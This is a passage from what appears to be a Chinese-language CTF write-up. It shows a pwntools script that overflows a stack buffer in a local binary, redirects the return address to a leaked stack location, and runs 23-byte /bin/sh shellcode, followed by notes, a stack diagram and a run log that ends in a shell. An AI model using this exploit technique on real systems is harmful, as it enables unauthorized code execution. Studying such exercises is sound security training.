3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| from pwn import *
p = process("./shellcode")
context.arch = "amd64"
# https://www.exploit-db.com/exploits/36858
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
print(len(shellcode))
p.recvuntil("0x")
addr = int(p.recv(12), 16)
success("addr: " + hex(addr))
payload = b"a" * 0x18 + p64(addr + 0x18 + 0x8) + shellcode
p.sendline(payload)
p.interactive()
|
因为 read 函数读取 0x40 个字节的限制,我们需要找到一段较短的 shellcode,这里给出了一段长度为 23 的 shellcode
这里不能将 shellcode 布置到最前面,shellcode 内含有多段 psuh 指令,覆盖返回地址后此时 PC 是在 main 函数低地址,栈生长后会覆盖到我们的 shellcode
1
2
3
4
5
6
7
8
9
| +---------------+ <- rsp (高地址)
| buffer |
+---------------+
| ... |
+---------------+
| 0xdeadbeef | <- rbp
+---------------+
| return addr | <- rip (低地址)
+---------------+
|
获取权限
1
2
3
4
5
6
7
8
9
10
11
12
| $ python3 payload.py
[+] Starting local process './shellcode': pid 2166
23
[+] addr: 0x7ffe0ed6e3a0
[*] Switching to interactive mode
] ?
Now give me your answer :
$ whoami
lhon901
$
[*] Interrupted
[*] Stopped process './shellcode' (pid 2166)
|